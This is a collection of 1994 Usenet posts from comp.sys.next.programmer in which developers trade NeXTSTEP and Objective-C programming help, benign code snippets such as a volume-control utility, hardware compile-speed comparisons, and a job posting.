From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: How to access another .m file's c functions ? Date: Fri, 22 Apr 1994 08:29:11 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <EhhwALq00WBNA1=EIT@andrew.cmu.edu> In-Reply-To: <1994Apr19.200955.29694@scott.skidmore.edu> Excerpts from netnews.comp.sys.next.programmer: 19-Apr-94 How to access another .m fi.. by Anthony Holland@dreams.s > Greetings, > > I have an PB project going that has two .h files and two .m files. One of > the .m files makes calls to c functions written in the other .m file. How > can i get them to communicate ? (is there some "easy" way...like > ...simply declaring an "external function" or some such animal ?) Provide external function prototypes in the header files, like this: extern int my_func(int coolness_in_disguise); ...and include this header in the other .m file, and then you can simply call my_funct() from there. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: Where to find GNU C for NSFIP? (Part II) Date: Fri, 22 Apr 1994 08:23:33 -0400 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <Yhhw75_00WBNA1=ToX@andrew.cmu.edu> In-Reply-To: <1994Apr21.194119.14037@clark.dgim.doc.ca> Excerpts from netnews.comp.sys.next.programmer: 21-Apr-94 Where to find GNU C for NSF.. by Casey Barton@DaBoyz.dgcp > I'm convinced that at least one person out there has compiled this > thing on white hardware. Now, I've got the black distribution -- I'm > assuming that all I need now is the white binaries (cc, gcc, etc.) to have > a workable C compiler solution. Is this is case? If so, could some kind > soul NeXTMail me just these necessary files? No, I'm afraid that you will not end up with a working development environment. For example, where do you plan on getting header files from? How about the libraries? Simply installing a compiler isn't enough. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.sys.next.misc Subject: Re: DBTableview and double-clicking Date: 22 Apr 1994 16:43:15 +0100 Organization: me organised, that's a joke. Message-ID: <2p8raj$5ng@steffi.demon.co.uk> References: <1994Apr22.041421.16955@pcp.ca> Keywords: dbtableview, dbtablevector Nghiem_Alex@pcp.ca (Alex Nghiem) wrote in comp.sys.next.programmer,comp.sys.next.misc >Hello there: > >I have a tableview in which I set the double action to be a method called >doThis: in my Controller class. When I double-click on the title bar (i.e, >the DBTableVector), the tableview receive a doThis: message. I would have >expected that the tableview only receive this message if the double-click >happened in one of the rows, not in the title. Is there an easy way of >setting up the tableview so that the Controller only receive the doThis: >message if the double-click happens in one of the rows and not the title? > >Please e-mail me and I'll summarize. > >Thanks in advance, > >Alex >Nghiem_Alex@pcp.ca >alex@oolesson.com Here's a quick an easy solution... In your double action method just test... [tableView selectedRow] if you've clicked on a column (title) heading it's going to be -1 otherwise it's going to be the integer row value. you could try selectedColumnCount also I guess. - doubleClickAction:sender { if ([sender selectedRow] == -1) { return nil; } // normal doubleClickAction processing. return self; } -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: kane@cs.purdue.edu (Christopher Kane) Subject: Re: Volume control Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <CooHys.AnM@mozo.cc.purdue.edu> Date: Fri, 22 Apr 1994 20:52:04 GMT References: <2p8o9m$lsu@winx03.informatik.uni-wuerzburg.de> Organization: Purdue Data Network In article <2p8o9m$lsu@winx03.informatik.uni-wuerzburg.de> seubert@cip.mathematik.uni-wuerzburg.de (Seubert Klemens) writes: > I am looking for a small piece of code to control the volume of our > NeXT computers from within a shell script. Well, it's been a while since such code has been posted, and this question comes up every once in a while, so here was my contribution, a year and a half ago... Christopher J. Kane kane@cs.purdue.edu ----clip 'n' save--------clip 'n' save--------clip 'n' save---- /* * Displays and sets the mute status and volume on a NeXT. * * Version: 1.1 * Christopher J. Kane (kane@cs.purdue.edu) * * Released into the public domain, October 19, 1992. */ #include <sound/sound.h> #include <stdio.h> extern volatile void exit(int); extern int getopt(int, char **, char *); extern char *optarg; #define SETTORANGE(v,min,max) v = (v<min?min:(v>max?max:v)) #define MINVOL 0 #define MAXVOL 43 #define USAGE \ "Usage: %s [-s] [-m | -M] [-l <left_vol>] [-r <right_vol>] [-v <vol>]\n"\ "\tDisplays and optionally sets the mute and volume settings.\n" \ "\tOptions: (in any order)\n" \ "\t -s silent mode; settings are not displayed\n" \ "\t -m unmute external speakers\n" \ "\t -M mute external speakers\n" \ "\t -l set volume of left speaker\n" \ "\t -r set volume of right speaker\n" \ "\t -v set both speakers; shorthand for '-l <vol> -r <vol>'\n" \ "\tIf both -m and -M are specified, the rightmost of them has effect.\n"\ "\tThe parameters <left_vol>, <right_vol>, and <vol> should be\n" \ "\tintegers in the range %i (minimum volume) to %i (maximum volume).\n\n" #define OUTSTR "\nExternal speaker is%s muted.\n"\ "Left speaker volume: %i\n" \ "Right speaker volume: %i\n\n" void main(int argc, char *argv[]) { int mute, left, right, silent=0, ret; if ((ret=SNDGetMute(&mute)) != SND_ERR_NONE) { fprintf(stderr, "%s\n", SNDSoundError(ret)); exit(1); } SNDGetVolume(&left, &right); if (argc > 1) { int c; while ((c = getopt(argc, argv, "mMsl:r:v:h"))!=EOF) switch (c) { case 'm': mute = 1; break; case 'M': mute = 0; break; case 's': silent = 1; break; case 'l': left = atoi(optarg); break; case 'r': right = atoi(optarg); break; case 'v': left = right = atoi(optarg); break; case 'h': default : fprintf(stderr, USAGE, argv[0], MINVOL, MAXVOL); exit(1); } SETTORANGE(left, MINVOL, MAXVOL); SETTORANGE(right, MINVOL, MAXVOL); SNDSetMute(mute); SNDSetVolume(left, right); } if (!silent) printf(OUTSTR, (mute?" NOT":""), left, right); exit(0); } ----clip 'n' save--------clip 'n' save--------clip 'n' save----
Newsgroups: comp.sys.next.programmer From: lwall@netlabs.com (Larry Wall) Subject: Re: Developer Expo talk idea? (TCL and IB) Message-ID: <1994Apr22.204023.6416@netlabs.com> Organization: NetLabs, Inc. References: <1994Apr17.122652.3956@chemabs.uucp> <2p6tsn$8k0@zip.eecs.umich.edu> Date: Fri, 22 Apr 1994 20:40:23 GMT In article <2p6tsn$8k0@zip.eecs.umich.edu> Roland Telfeyan <roland@gomidas.mi.org> writes: : Now that sounds neat! I hate tcl and love perl. Does anyone know if the perl : version is up to date and where it's available? Er, it's a little on the other side of up-to-date, being still in Alpha. But you can talk to Malcolm Beattie <mbeattie@black.ox.ac.uk> if you want to play with it. Larry Wall lwall@netlabs.com
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Scanner for DXF-Fileformat wanted Message-ID: <1994Apr21.092009.3556@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <Co91tw.w3@tms-gmbh.de> Date: Thu, 21 Apr 1994 09:20:09 GMT In article <Co91tw.w3@tms-gmbh.de> stephan@Magritte (Stephan Schlecht) writes: : : :Hello, : :I want to load DXF-files (Autocad). :Is there anywhere a sourcecode, where I can extract the scanner? : :Any help appreciated. : Stephan : :-- :Stephan Schlecht :stephan@tms-gmbh.de I have done one for ZZVolume ( not complete but efficient). and Olivier Chapiteau (Jessycad Daddy ) show me another DXF parser object oriented he have done. So dont hesitate to contact me Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <1994Apr21.094051.3638@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <CEDMAN.94Apr19231833@capitalist.princeton.edu> Date: Thu, 21 Apr 1994 09:40:51 GMT In article <CEDMAN.94Apr19231833@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: :In article <2p1buv$lm7@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) writes: : Daniel Stefan Decasper writes : ) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and : ) my good old NeXTstation color (non turbo). : ) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. : ) NeXTstation color: 8 min 50 s : ) Gecko: 5 min 02 s : ) Comments ? : Conceptually A RISC Processor with its limited instruction set ask more to the compiler than a CISC processor. The compilation process is maybe more complex ...<;-)) The main question is :what about the speed of Draw once compiled ???? Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.programmer Subject: RE: Better curses package? Message-ID: <1994Apr21.131313.1775@earlham.edu> From: rabahya@earlham.edu Date: Thu, 21 Apr 94 13:13:06 -500 References: ,noid Distribution: world Organization: Earlham College In Article noid writes: >I'm looking for a better curses package to run on NS 3.x. Something >that has the bold/underline/reverse video attributes. E-mail me >if you know of such a beast. Thanks. >-- >Dirk Herr-Hoyman | >Lake Worth, Florida, USA | >hoymand@gate.net | >+1.407.540.8309 | I'm interested in a better curses package too. Please email me your replies. --- Jack A. Rabah Earlham College / | | _ Computer Science Dept. \ | | / \ rabahya@yang.earlham.edu | / | | / \ ** Here's the fortune cookie of the day.. ---------- ----------- it is randomly generated: - The more right one is, the more careful he should be to express his opinion tactfully. The other fellow never likes to be proved wrong. -- John Luther
Newsgroups: comp.sys.next.programmer Subject: missing libs? Message-ID: <1994Apr21.164525.1782@earlham.edu> From: rabahya@earlham.edu Date: Thu, 21 Apr 94 16:45:20 -500 Distribution: world Organization: Earlham College Hello -- I'm trying to compile an X program to run under Xmouse and the compiler keeps returning the error: cc -o xaw arab.o edit.o editutil.o trans.o winutil.o menu.o texutil.o fileutil.o keybind.o -O2 -lX11 ld: Undefined symbols: _waitpid *** Exit 1 Stop. I did a: % strings *.a | grep _waitpid in /usr/lib were I have the Xlibs linked and it returned nothing! Anyone knows what libraries are missing from my system, or what is happening? Thanks a bunch! --- Jack A. Rabah Earlham College / | | _ Computer Science Dept. \ | | / \ rabahya@yang.earlham.edu | / | | / \ ** Here's the fortune cookie of the day.. ---------- ----------- it is randomly generated: - Life is a tragedy for those who feel, and a comedy for those who think.
From: joe@retina.anatomy.upenn.edu Newsgroups: comp.sys.next.programmer Subject: Qualified fetches through to-many relationships? Date: 22 Apr 1994 23:14:54 GMT Organization: University of Pennsylvania Distribution: world Message-ID: <2p9lpe$e1b@netnews.upenn.edu> I'm working with a DBModule that contains a to-many relationship. The attributes of the root fetch-group are associated with standard controls (textfields) rather than a TableView, but the the attributes from the to-many relationship are associated with a TableView in the standard way. If I send the Module the fetchallrecords message, the result is as advertised-- the standard controls display the atributes of the selected row, and the DBTableView displays the rows joined through the to-many relationship. BUT what I would like to be able to do is send the Module a message to fetch only 1 record and have it join the attributes through the to-many relationship for just this 1 record. What actually happens: if I send the module : [Module fetchContentsOf:nil usingQualifier:theQualifier ]; It retrieves the proper record from the database, and properly displays the atributes belonging to the root fetch group, but the attributes through the to-many relationship do not appear in the DBTableView. This is consistend with my reading of the documentation. Only data control methods, like fetchallRecords, are forwarded to non-root fetch groups. BUT the docs do not describe how to get a qualified fetch properly forwarded to these other fetch groups. Do I have to send it manually? Any insights appreciated. Thanks. Joe Panico joe@retina.anatomy.upenn.edu
From: samurai@hasc.ca (Darcy Brockbank) Newsgroups: comp.sys.next.programmer,comp.sys.next.marketplace Subject: Job Opening Date: 22 Apr 1994 19:50:55 GMT Organization: The Hutchison Avenue Software Corporation Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2p99qv$pu2@cerberus.wsc.com> Hutchison Avenue Software is looking to add member(s) to our staff. The successful applicant should have the following qualifications: - intelligent, coachable and able to work in a team environment - able to make suggestions and enhance other people's work - strong knowledge of UNIX, and NEXTSTEP - able to use software development tools such as emacs, jove, vi, gdb, lex, yacc, make - good working knowledge of the NeXT software development tools, such as InterfaceBuilder and ProjectBuilder - strong knowledge of C, Objective C, and OO programming/design - Canadian, US, Mexican Citizen, or Landed Immigrant - B.Sc. in Computer Science - strong knowledge of algorithms and theory, including datastructures, formal languages + automata theory, interface design, and database theory - takes pride in their work, and in doing things the right way The following attributes are a plus: - knowledge of perl, awk, csh, sh, LISP, Prolog, C++, Eiffel - experience developing large ( > 50,000 lines ) projects - experience working in multiplatform environment (combinations of HPUX, SunOS, DOS, etc.) - experience in PC development (especially: PC network programming, Unix connectivity, graphics, sound.) The successful applicant will be working as part of a two-person team building an in-house application under NEXTSTEP. In the future, the applicant will be expected to work some time off-site, in New York City or Toronto with with one of our clients. We do not require any past commercial experience, so graduating students are welcome to apply. About Hutchison: We're a small three year old software development and consulting company. Our clients have included Hewlett Packard, Bell Canada, Telerate Systems, Inc., Equinox Capital Management, and WSC Investment Services, for whom we have developed custom software running on NEXTSTEP, SunOS, and HPUX. Our goals are to provide top-notch software and consulting services, as well as a flexible, interesting, and comfortable working environment for our employees. Our main office is located in downtown Montreal, Canada, so you must be prepared to relocate. This job description is covered under the NAFTA free trade agreement, so visa application for US or Mexican Citizens/Landed Immigrants is simple. Send your resume (in plain ASCII, TeX, RTF, or PostScript format only...) and salary requirements to Darcy Brockbank (darcy@hasc.ca).
Newsgroups: comp.sys.next.programmer From: chuston@nugget.rmNUG.ORG (Chris Huston) Subject: FetchGroup created Expressions Message-ID: <1994Apr22.220743.6016@nugget.rmNUG.ORG> Organization: Rocky Mountain NeXT Users' Group Date: Fri, 22 Apr 1994 22:07:43 GMT I've got a nib with a table view that contains data from a to-one relationship The table view was set-up using IB - so an expression was built automagically by the DBModule/Fetchgroup.... Now I want to retrieve the value for the expression representing the foreign data. The problem is in finding the DBExpression for use in getValue:forProperty:. I pointed an outlet to the DBTableVector and then sent associationForObject to the DBModule - which returns 0 - even though the IB inspector panel shows "ToSponsor.name DBTableVector". I can find the Expression by comparing property names - but that seams very inelegant. What am I munging? Thanks, -Chris
From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 22 Apr 1994 20:10:47 GMT Organization: Computer Science Department, The Johns Hopkins University Message-ID: <SWIET.94Apr22161047@syzygy.cs.jhu.edu> References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p1buv$lm7@bones.et.byu.edu> <CEDMAN.94Apr19231833@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Wed, 20 Apr 1994 03:18:32 GMT In article <CEDMAN.94Apr19231833@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: That I do not believe. Even my fairly old and slow hard disk would impose a limit which is much higher than what you are seeing above. As a matter of fact, I doubt that there is any workstation around which could even come close to being starved by it when doing a compilation job (not that there aren't many important tasks on which even this slab is disk starved). Out of curiosity, how do the systems compare when compiling with the -pipe option? I don't know... my rule of thumb has been to buy a new computer when I can get at least 3x-4x the real world performance for a comparable price. 5 minutes vs. 8 minutes is not worth upgrading. 3-4x? That's it? I went from an Apple ][+ to a NeXTstation. That means the next computer I get will have to be.... :-)
From: tiggr@tricky.tnt.es.ele.tue.nl (Tiggr) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 22 Apr 1994 20:10:33 GMT Organization: Eindhoven University of Technology Message-ID: <TIGGR.94Apr22221033@tricky.tnt.es.ele.tue.nl> References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p1buv$lm7@bones.et.byu.edu> <CEDMAN.94Apr19231833@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Wed, 20 Apr 1994 03:18:32 GMT In article <CEDMAN.94Apr19231833@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: (4) The SpecInt/SpecFP numbers are just misleading. The Gecko is just designed to run them well, but at real world tasks it fails pretty badly. Probably there is something to that too. You can't design a machine to run the spec stuff well, unless you are plainly making a really fast machine. Which is just what the spec stuff tries to indicate. --Tiggr
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Message-ID: <1994Apr19.181058.974@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <2ou9n0$bmb@cerberus.wsc.com> Date: Tue, 19 Apr 1994 18:10:58 GMT In article <2ou9n0$bmb@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) writes: > In article <1994Apr14.153048.3128@stone.com> andrew@stone.com (Andrew > Stone) writes: > > In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy > Brockbank) > > writes: > > > > > > 1) bugs are not likely to be fixed > > > > This is not true - they just fixed some. > > The problem is that IXStore and friends are extremely buggy. You > yourself know that, since DataPhile has a history of being > victimized by new releases of NEXTSTEP. Well, at least we are protected from Version 3.3 breaking anything: DataPhile 2.1 is linked against a static IXKIT library, so new releases won't affect us. (Since DataPhile 2.0 used the IXKIT shared library, which worked fine with 3.1, users were bitten when 3.2 was released and all of a sudden DataPhile was not working right, because the new shared library had some problems). DataPhile is stabler now than it's ever been, and our 2.1 users are extremely pleased. > NeXT isn't very interested in keeping the IXKit going. If they > were, then they wouldn't drop support for the high-level > classes. I think they are trimming it so that they can adequately maintain the basic stuff and toss off the high-level classes where most of the bugs reside. Many NeXT apps use the btree and store classes, including such stalwarts as Installer.app and Librarian. Of course, it's not my place to guess what they are planning to do - hopefully a spokeman will sally forth and say what is the plan. >My company is involved in a project that uses IXKit > in a very heavy-duty manner, and we've hit so many show > stopping bugs at the IXStore level that we're considering > abandoning it alltogether. ... > > Luckily for us, DataPhile uses only the underlying classes! > > Is it because you guessed correctly which classes NeXT was > going to throw away, or because they told you before they > told the rest of us? When we started on DataPhile in 1990, only the "btree" and "store" classes existed, so we had to roll our own manager classes. That's what I call "luck", although sweat equity is probably better terminology. > All in all, it's another example of where NeXT can improve > what it does. > > - darcy And now that NeXT is a software company, software maintenance will be getting more attention. This is all part of the feedback loop! andrew -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Indexing kit - Query language (NOT SUPPORTED) Message-ID: <1994Apr19.182318.1052@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Apr19.181058.974@stone.com> Date: Tue, 19 Apr 1994 18:23:18 GMT In article <1994Apr19.181058.974@stone.com> andrew@stone.com (Andrew Stone) writes: > - hopefully a spokeman will sally forth brain in neutral, of course I meant "spokesperson". -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
Newsgroups: comp.sys.next.programmer From: flash!jon@myxa.com Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <Cootxu.on@dsinc!flash> Sender: jon@dsinc!flash (Jonathan Hendry) Organization: Who Needs It? References: <1994Apr21.094051.3638@ares.fdn.org> Date: Sat, 23 Apr 1994 01:10:41 GMT In article <1994Apr21.094051.3638@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > In article <CEDMAN.94Apr19231833@capitalist.princeton.edu> > cedman@princeton.edu (Carl Edman) writes: > :In article <2p1buv$lm7@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) > writes: > : Daniel Stefan Decasper writes > : ) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and > : ) my good old NeXTstation color (non turbo). > : ) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. > : ) NeXTstation color: 8 min 50 s > : ) Gecko: 5 min 02 s > : ) Comments ? > : > > > > Conceptually A RISC Processor with its limited instruction set ask more > to the compiler than a CISC processor. The compilation process is maybe > more complex ...<;-)) > > > The main question is :what about the speed of Draw once compiled ???? > Another question is: How big is a PA binary as compared to the 68k binary? -- Jonathan W. Hendry Inexpensive NeXTSTEP Consulting tjhendry@mcs.drexel.edu For Your "Not-So-Mission-Critical" Apps
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Posix: getpgrp Date: 23 Apr 1994 01:43:23 GMT Organization: San Francisco State University Message-ID: <2p9ufr$42r@nic-nac.CSU.net> References: <2objtd$1rq@email.tuwien.ac.at> POSIX is *supposed to be* braindamaged. Really! -=EPS=-
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: missing libs? Date: 23 Apr 1994 01:50:58 GMT Organization: San Francisco State University Message-ID: <2p9uu2$4d1@nic-nac.CSU.net> References: <1994Apr21.164525.1782@earlham.edu> In article <1994Apr21.164525.1782@earlham.edu> rabahya@earlham.edu writes: >ld: Undefined symbols: >_waitpid >what libraries are missing from my system, or what is happening? Nothing's missing. waitpid() is a NONPORTABLE call, and all UNIX application programmers are expected to either avoid it entirely or protect it with operating system-dependent conditionals. In most cases, it can simply be replaced by a wait4() with the appropriate arguments. -=EPS=- -- Where's the c.s.n.p FAQ??? This should be in there!
Newsgroups: comp.sys.next.programmer From: harv@narwal.ali.bc.ca (Harvey C. Dueck) Subject: Re: Breaking an NXConnection. How to do that, please? Message-ID: <1994Apr22.230323.4116@narwal.ali.bc.ca> Organization: A.L.I. Technologies References: <1994Apr20.093532.26561@imag.fr> Date: Fri, 22 Apr 1994 23:03:23 GMT arrouye@petole.imag.fr (Yves Arrouye) writes: >Hi, >I have written a small app with DO, and I want to allow the clients to >register to another server and cease using the one they were connected to >before. My problem is that I do not want to have a method telling the server >that the client wants to unregister, so I am trying to break the connection by >hand. >If I say > [myServer free] >the server is freed, so I tried This will work if your server object conforms to the NXReference protocol. - harv -- Harvey C. Dueck A.L.I. Technologies Ltd. harv@ali.bc.ca 320 - 3700 Gilmore Way Phone: (604) 433-3422 Ext. 314 Burnaby, British Columbia FAX: (604) 433-5712 V5G 4M1
Control: cancel <CoJIEJ.qo@world.std.com> Newsgroups: comp.sys.next.programmer From: sngmedia@world.std.com Subject: cmsg cancel <CoJIEJ.qo@world.std.com> Organization: The World Public Access UNIX, Brookline, MA Date: Wed, 20 Apr 1994 04:13:29 GMT Message-ID: <cancel.CoJIEJ.qo@world.std.com> MARKET SURVEY
From: xepo@csd4.csd.uwm.edu (Scott R Violet) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 23 Apr 1994 04:00:02 GMT Organization: Computing Services Division, University of Wisconsin - Milwaukee Message-ID: <2pa6g2INNcv@uwm.edu> References: <1994Apr20.064652.9919@fokus.gmd.de> <2p6qg8$13n@marsu.tynet.sub.org> In article <2p6qg8$13n@marsu.tynet.sub.org> mow@marsu.tynet.sub.org writes: >Robert Fischer writes >BTW: A friend of mine already has a 712/60. He compiled Taylor uucp 1.04 >in about 7 min, my DX2/66 took about 7.5 min. So I think compilation time >isn't the right thing to compare performance. This may be true for most users, but for programmers (most of this group is) this is a major need in upgrading. I know that if they said compilation (that includes linking) were to take a quarter of the time, I could easily justify to my boss to by one. Like another poster said, 90% of my idle time is spent waiting for compilation to complete! -- -Scott Violet (xepo@csd4.csd.uwm.edu)
From: d_chan@news.delphi.com (D_CHAN@DELPHI.COM) Newsgroups: comp.sys.next.programmer Subject: ThumbWheel Palette Date: 23 Apr 1994 04:03:54 -0000 Organization: Delphi Internet Services Corporation Message-ID: <2pa6na$6ah@news.delphi.com> Summary: trouble using ThumbWheel palette Keywords: AppKit Pallette I'm trying to use the ThumbWheel palette I downloaded from ftp.next.com but I seem to be having some trouble. After installing the palette and putting it in my application the app compiles with no errors or warnings but when run the icon starts up then disappears. The following messages are generated on the console: Apr 10 10:54:02 roadrunner Count[703]: objc: class `ThumbWheel' not linked into application Apr 10 10:54:02 roadrunner Count[703]: An uncaught exception was raised Apr 10 10:54:02 roadrunner Count[703]: Typed streams library error: class error for 'ThumbWheel': class not loaded Any help would be greatly appreciated. Thanks. -Derek
From: d_chan@news.delphi.com (D_CHAN@DELPHI.COM) Newsgroups: comp.sys.next.programmer Subject: Renderman Date: 23 Apr 1994 04:14:39 -0000 Organization: Delphi Internet Services Corporation Message-ID: <2pa7bf$6uh@news.delphi.com> Summary: Renderman and 3DKit Keywords: Rendermann I'm trying to get started with RenderMan and the 3DKit. Does anyone know of any good UseNet groups to subscribe to or any ftp sites that would help ease the learning curve? Any advice would be helpful. Thanks. -Derek
From: toon@omnigroup.com (Greg Titus) Newsgroups: comp.sys.next.programmer Subject: Re: Text - Steping through the NXRunArray Date: 22 Apr 1994 21:15:11 GMT Organization: Omni Development, Inc. Distribution: world Message-ID: <2p9eov$akm@fungusaur.wizards.com> References: <2p6pl3$ho0@digifix.digifix.com> Scott Anguish writes > I have a situation where I need to grab each 'style' in a Text Object, and then > find the text that is associated with that style. > > the NXRunArray contains the Styles I need, but I don't seem to be able to find > out where they are referenced to the actual text blocks... > > Comments? > > I know that the Text Object is a touchy subject, but I need to implement this > now, and this is my only real option. > > -- > - Scott Anguish - > sanguish@digifix.com (NextMail) > next-announce@digifix.com (comp.sys.next.announce submissions) I would probably just use - getSubstring:start:length: for getting your text: - doStuffWithStyleAndText { int offset = 0; NXRun *aRun = theRuns->runs; NXRun *endRun = aRun + (theRuns->chunk.used / sizeof(NXRun)); char *buffer; while(aRun <= endRun) { buffer = malloc(aRun->chars+1); [self getSubstring:buffer start:offset length:aRun->chars]; // here you have your style (aRun->paraStyle) and buffer with the text free(buffer); offset += aRun->chars; aRun++; } return self; } Here's a version that goes into the Text object's text blocks and grabs the text directly. It'll be faster than getSubstring:start:length:, but I haven't tested this code, so use at your own risk: - doWierderStuffWithStyleAndText { NXRun *aRun = theRuns->runs; NXRun *endRun = aRun + (theRuns->chunk.used / sizeof(NXRun)); char *buffer, *fill; NXTextBlock *aBlock = firstTextBlock; int blockOffset = 0; int textLeft, textCopied; while(aRun <= endRun) { buffer = malloc(aRun->chars+1); fill = buffer; textLeft = aRun->chars; while(textLeft) { textCopied = MIN(textLeft, (blockOffset - aBlock->chars)); strncpy(fill, aBlock->text + blockOffset, textCopied); fill += textCopied; if ((blockOffset += textCopied) == aBlock->chars) { aBlock = aBlock->next; blockOffset = 0; } textLeft -= textCopied; } *fill = '\0'; // here you have your style (aRun->paraStyle) and buffer with the text free(buffer); aRun++; } return self; } If you have any other questions on the Text object, I've been doing a lot of munging around with it lately so don't hesitate to ask. Hope this helps! --Greg ------------------ Greg Titus toon@omnigroup.com
From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 23 Apr 1994 05:02:45 GMT Organization: Computer Science Department, The Johns Hopkins University Message-ID: <SWIET.94Apr23010247@syzygy.cs.jhu.edu> References: <CEDMAN.94Apr19231833@capitalist.princeton.edu> <1994Apr21.094051.3638@ares.fdn.org> In-reply-to: gery@ares.fdn.org's message of Thu, 21 Apr 1994 09:40:51 GMT In article <1994Apr21.094051.3638@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: [Discussion about compiling Draw.app] : Daniel Stefan Decasper writes : ) NeXTstation color: 8 min 50 s : ) Gecko: 5 min 02 s Conceptually A RISC Processor with its limited instruction set ask more to the compiler than a CISC processor. The compilation process is maybe more complex ...<;-)) The main question is :what about the speed of Draw once compiled ???? That is not the main question. Compilation of a NS app is a very real benchmark, especially for anyone who plans to any sort of development, or anyone who will be making heavy general use of the compiler. Excuses about the complexity of compiling on different architectures will not help the speed of NeXT's /bin/cc or /bin/ld on those machines.
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: hostname detection in c? In-Reply-To: wolfgang@neptun.nt.tuwien.ac.at's message of 18 Apr 1994 16:33:03 GMT To: wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch) Message-ID: <CEDMAN.94Apr22152920@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2oucnv$qb0@email.tuwien.ac.at> Date: Fri, 22 Apr 1994 19:29:19 GMT In article <2oucnv$qb0@email.tuwien.ac.at> wolfgang@neptun.nt.tuwien.ac.at (Wolfgang Pusch) writes: How to detect with an c-program the hostname and store it in a variable? Maybe someone could send me the sourcecode of the program. Try this. { char s[256]; struct hostent *h; gethostname(s,sizeof(s)); h=gethostbyname(s); puts(h->h_name); } Do not use getdomainname(2) for the domain name. Carl Edman
